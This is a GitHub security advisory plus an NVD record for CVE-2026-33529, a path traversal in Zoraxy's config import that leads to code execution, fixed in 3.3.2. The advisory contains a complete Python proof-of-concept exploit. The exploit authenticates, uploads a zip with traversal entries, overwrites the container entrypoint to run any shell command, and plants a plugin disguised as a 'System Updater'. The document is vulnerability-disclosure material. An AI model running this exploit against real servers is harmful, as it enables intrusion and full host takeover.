Authenticated Path Traversal to RCE via Configuration Import

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tobychui/zoraxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T20:04:44Z",
    "nvd_published_at": "2026-03-26T20:16:15Z",
    "severity": "LOW"
  },
  "details": "# Authenticated Path Traversal to RCE via Configuration Import\n\n## Summary\n\nAn authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.\n\n## Details\n\nThe vulnerable endpoint is `POST /api/conf/import`.\n\nThe zip entry names sanitization is bypassed by embedding `../` inside a longer sequence so the replacement produces a new `../`:\n\n```\nconf/..././..././entrypoint.py\n  \u2192 ReplaceAll(\"../\", \"\")  (match found at index 1 of \"..././\", leaving \"../\")\n  \u2192 conf/../../entrypoint.py   \u2190 passes HasPrefix check, escapes conf/\n```\n\nUsing this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin.\nWhen the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code).\nAs a result, the container was manually restarted for the PoC to work.\n\n## PoC\n\n```python\nimport argparse\nimport io\nimport json\nimport re\nimport sys\nimport zipfile\n\nimport requests\nimport urllib3\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nINTRO_SPEC_JSON = json.dumps({\n    \"id\": \"com.attacker.evil\",\n    \"name\": \"System Updater\",\n    \"author\": \"System\",\n    \"author_contact\": \"\",\n    \"description\": \"Internal system update module\",\n    \"url\": \"\",\n    \"ui_path\": \"/ui\",\n    \"type\": 1,\n    \"version_major\": 1,\n    \"version_minor\": 0,\n    \"version_patch\": 0,\n    \"permitted_api_endpoints\": [],\n})\n\nLINUX_START_SH = \"\"\"\\\n#!/bin/sh\nINTRO_SPEC=\u0027{intro_spec}\u0027\n\nrun_payload() {{\n{payload_lines}\n}}\n\ncase \"$1\" in\n  -introspect)\n    run_payload\n    printf \u0027%s\\\\n\u0027 \"$INTRO_SPEC\"\n    exit 0\n    ;;\n  -configure=*)\n    run_payload\n    while true; do sleep 3600; done\n    ;;\nesac\n\"\"\"\n\nMALICIOUS_ENTRYPOINT_PY = \"\"\"\\\n#!/usr/bin/env python3\nimport os, subprocess, signal, sys, time\n\ntry:\n    subprocess.run({cmd_list}, shell=False)\nexcept Exception:\n    pass\n\ntry:\n    os.chmod(\"/opt/zoraxy/plugin/evil/start.sh\", 0o755)\nexcept Exception:\n    pass\n\nzoraxy_proc = None\nzerotier_proc = None\n\ndef getenv(key, default=None):\n  return os.environ.get(key, default)\n\ndef run(command):\n  try:\n    subprocess.run(command, check=True)\n  except subprocess.CalledProcessError as e:\n    print(f\"Command failed: {command} - {e}\")\n    sys.exit(1)\n\ndef popen(command):\n  proc = subprocess.Popen(command)\n  time.sleep(1)\n  if proc.poll() is not None:\n    print(f\"{command} exited early with code {proc.returncode}\")\n    raise RuntimeError(f\"Failed to start {command}\")\n  return proc\n\ndef cleanup(_signum, _frame):\n  global zoraxy_proc, zerotier_proc\n  if zoraxy_proc and zoraxy_proc.poll() is None:\n    zoraxy_proc.terminate()\n  if zerotier_proc and zerotier_proc.poll() is None:\n    zerotier_proc.terminate()\n  if zoraxy_proc:\n    try:\n      zoraxy_proc.wait(timeout=8)\n    except subprocess.TimeoutExpired:\n      zoraxy_proc.kill()\n      zoraxy_proc.wait()\n  if zerotier_proc:\n    try:\n      zerotier_proc.wait(timeout=8)\n    except subprocess.TimeoutExpired:\n      zerotier_proc.kill()\n      zerotier_proc.wait()\n  try:\n    os.unlink(\"/var/lib/zerotier-one\")\n  except Exception:\n    pass\n  sys.exit(0)\n\ndef start_zerotier():\n  global zerotier_proc\n  config_dir = \"/opt/zoraxy/config/zerotier/\"\n  zt_path = \"/var/lib/zerotier-one\"\n  os.makedirs(config_dir, exist_ok=True)\n  try:\n    os.symlink(config_dir, zt_path, target_is_directory=True)\n  except FileExistsError:\n    pass\n  zerotier_proc = popen([\"zerotier-one\"])\n\ndef start_zoraxy():\n  global zoraxy_proc\n  zoraxy_args = [\n    \"zoraxy\",\n    f\"-autorenew={getenv(\u0027AUTORENEW\u0027, \u002786400\u0027)}\",\n    f\"-cfgupgrade={getenv(\u0027CFGUPGRADE\u0027, \u0027true\u0027)}\",\n    f\"-db={getenv(\u0027DB\u0027, \u0027auto\u0027)}\",\n    f\"-docker={getenv(\u0027DOCKER\u0027, \u0027true\u0027)}\",\n    f\"-earlyrenew={getenv(\u0027EARLYRENEW\u0027, \u002730\u0027)}\",\n    f\"-enablelog={getenv(\u0027ENABLELOG\u0027, \u0027true\u0027)}\",\n    f\"-fastgeoip={getenv(\u0027FASTGEOIP\u0027, \u0027false\u0027)}\",\n    f\"-mdns={getenv(\u0027MDNS\u0027, \u0027true\u0027)}\",\n    f\"-mdnsname={getenv(\u0027MDNSNAME\u0027, \\\"\u0027\u0027\\\")}\",\n    f\"-noauth={getenv(\u0027NOAUTH\u0027, \u0027false\u0027)}\",\n    f\"-plugin={getenv(\u0027PLUGIN\u0027, \u0027/opt/zoraxy/plugin/\u0027)}\",\n    f\"-port=:{getenv(\u0027PORT\u0027, \u00278000\u0027)}\",\n    f\"-sshlb={getenv(\u0027SSHLB\u0027, \u0027false\u0027)}\",\n    f\"-version={getenv(\u0027VERSION\u0027, \u0027false\u0027)}\",\n    f\"-webroot={getenv(\u0027WEBROOT\u0027, \u0027./www\u0027)}\",\n  ]\n  zoraxy_proc = popen(zoraxy_args)\n\ndef main():\n  signal.signal(signal.SIGTERM, cleanup)\n  signal.signal(signal.SIGINT, cleanup)\n  run([\"update-ca-certificates\"])\n  if getenv(\"UPDATE_GEOIP\", \"false\").lower() == \"true\":\n    run([\"zoraxy\", \"-update_geoip=true\"])\n  os.chdir(\"/opt/zoraxy/config/\")\n  if getenv(\"ZEROTIER\", \"false\") == \"true\":\n    start_zerotier()\n  start_zoraxy()\n  signal.pause()\n\nif __name__ == \"__main__\":\n  main()\n\"\"\"\n\n\ndef get_csrf(host: str, session: requests.Session) -\u003e tuple:\n    r = session.get(f\"{host}/login.html\", timeout=10, verify=False)\n    m = re.search(r\u0027\u003cmeta[^\u003e]+name=[\"\\\u0027]zoraxy\\.csrf\\.Token[\"\\\u0027][^\u003e]+content=[\"\\\u0027]([^\"\\\u0027]+)[\"\\\u0027]\u0027, r.text)\n    if not m:\n        m = re.search(r\u0027\u003cmeta[^\u003e]+content=[\"\\\u0027]([^\"\\\u0027]+)[\"\\\u0027][^\u003e]+name=[\"\\\u0027]zoraxy\\.csrf\\.Token[\"\\\u0027]\u0027, r.text)\n    token = m.group(1) if m else r.headers.get(\"X-CSRF-Token\", \"\")\n    return token, f\"{host}/login.html\"\n\n\ndef authenticate(host: str, username: str, password: str,\n                 session: requests.Session) -\u003e bool:\n    csrf, referer = get_csrf(host, session)\n    print(f\"    CSRF token  -\u003e {csrf!r}\")\n    r = session.post(\n        f\"{host}/api/auth/login\",\n        data={\"username\": username, \"password\": password},\n        headers={\"X-CSRF-Token\": csrf, \"Referer\": referer},\n        timeout=10, verify=False,\n    )\n    print(f\"    Login       -\u003e HTTP {r.status_code}  {r.text[:120]!r}\")\n    return r.status_code == 200 and r.text.strip().strip(\u0027\"\u0027).lower() in (\"ok\", \"true\")\n\n\ndef upload_zip(host: str, session: requests.Session, zip_bytes: bytes) -\u003e tuple:\n    csrf, referer = get_csrf(host, session)\n    r = session.post(\n        f\"{host}/api/conf/import\",\n        files={\"file\": (\"backup.zip\", zip_bytes, \"application/zip\")},\n        headers={\"X-CSRF-Token\": csrf, \"Referer\": referer},\n        timeout=30, verify=False,\n    )\n    return r.status_code, r.text\n\n\ndef export_config(host: str, session: requests.Session) -\u003e bytes | None:\n    r = session.get(\n        f\"{host}/api/conf/export?includeDB=true\",\n        timeout=60, verify=False,\n    )\n    if r.status_code == 200 and len(r.content) \u003e 100:\n        return r.content\n    return None\n\n\ndef build_zip(cmd: str, export_zip: bytes) -\u003e bytes:\n    traversal_ep = \"conf/..././..././entrypoint.py\"\n    traversal_sh = \"conf/..././..././plugin/evil/start.sh\"\n\n    payload_lines = \"\\n\".join(f\"  {line}\" for line in cmd.splitlines()) or \"  id \u003e /tmp/pwned.txt\"\n    start_sh = LINUX_START_SH.format(\n        intro_spec=INTRO_SPEC_JSON.replace(\"\u0027\", \"\u0027\\\\\u0027\u0027\"),\n        payload_lines=payload_lines,\n    )\n    malicious_ep = MALICIOUS_ENTRYPOINT_PY.replace(\"{cmd_list}\", repr([\"sh\", \"-c\", cmd]))\n\n    buf = io.BytesIO()\n    with zipfile.ZipFile(io.BytesIO(export_zip), \"r\") as src:\n        with zipfile.ZipFile(buf, \"w\", zipfile.ZIP_DEFLATED) as zf:\n            for item in src.infolist():\n                zf.writestr(item, src.read(item.filename))\n            zf.writestr(zipfile.ZipInfo(traversal_ep), malicious_ep.encode())\n            zf.writestr(zipfile.ZipInfo(traversal_sh), start_sh.encode())\n    buf.seek(0)\n    return buf.read()\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(\n        description=\"Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip\",\n    )\n    parser.add_argument(\"--host\",  help=\"Target, e.g. http://192.168.1.10:8000\")\n    parser.add_argument(\"--user\",  default=\"admin\")\n    parser.add_argument(\"--pass\",  dest=\"password\", default=None)\n    parser.add_argument(\"--cmd\", default=\"id \u003e /tmp/pwned.txt\",\n                        help=\"Shell command to embed in the payload\")\n    args = parser.parse_args()\n\n    if not args.host or not args.password:\n        parser.error(\"--host and --pass are required\")\n    host = args.host.rstrip(\"/\")\n\n    print(f\"\\n[1] Authenticating as \u0027{args.user}\u0027 at {host} ...\")\n    session = requests.Session()\n    if not authenticate(host, args.user, args.password, session):\n        print(\"[-] Authentication failed.\")\n        sys.exit(1)\n    print(\"[+] Authenticated.\")\n\n    print(f\"\\n[2] Exporting live config ...\")\n    export_zip = export_config(host, session)\n    if not export_zip:\n        print(\"[-] Config export failed.\")\n        sys.exit(1)\n    print(\"\\n[3] Building malicious zip ...\")\n    zip_bytes = build_zip(args.cmd, export_zip)\n    print(f\"[+] Zip size: {len(zip_bytes):,} bytes\")\n\n    print(f\"\\n[4] Uploading via POST {host}/api/conf/import ...\")\n    code, body = upload_zip(host, session, zip_bytes)\n    print(f\"    HTTP {code}  {body[:200]!r}\")\n    if code != 200:\n        print(\"[-] Upload failed.\")\n        sys.exit(1)\n    print(\"[+] Files written\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## Impact\n\nArbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.",
  "id": "GHSA-7pq3-326h-f8q9",
  "modified": "2026-03-27T21:24:56Z",
  "published": "2026-03-25T20:04:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tobychui/zoraxy/security/advisories/GHSA-7pq3-326h-f8q9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33529"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tobychui/zoraxy/commit/69ac755aeec5d15ba4c62099f7f1ed77a855b40b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tobychui/zoraxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tobychui/zoraxy/releases/tag/v3.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Zoraxy: Authenticated Path Traversal in Config Import leads to RCE"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:zoraxy:zoraxy:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "53E3D478-D37C-4CC6-96FF-381A55956C57",
              "versionEndExcluding": "3.3.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Zoraxy is a general purpose HTTP reverse proxy and forwarding tool. Prior to version 3.3.2, an authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin. Version 3.3.2 patches the issue."
    },
    {
      "lang": "es",
      "value": "Zoraxy es una herramienta de proxy inverso HTTP y reenv\u00edo de prop\u00f3sito general. Antes de la versi\u00f3n 3.3.2, una vulnerabilidad de salto de ruta autenticado en el endpoint de importaci\u00f3n de configuraci\u00f3n permite a un usuario autenticado escribir archivos arbitrarios fuera del directorio de configuraci\u00f3n, lo que puede llevar a RCE mediante la creaci\u00f3n de un plugin. La versi\u00f3n 3.3.2 corrige el problema."
    }
  ],
  "id": "CVE-2026-33529",
  "lastModified": "2026-04-02T18:13:03.553",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 3.3,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "HIGH",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 0.7,
        "impactScore": 2.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-26T20:16:15.070",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/tobychui/zoraxy/commit/69ac755aeec5d15ba4c62099f7f1ed77a855b40b"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/tobychui/zoraxy/releases/tag/v3.3.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/tobychui/zoraxy/security/advisories/GHSA-7pq3-326h-f8q9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}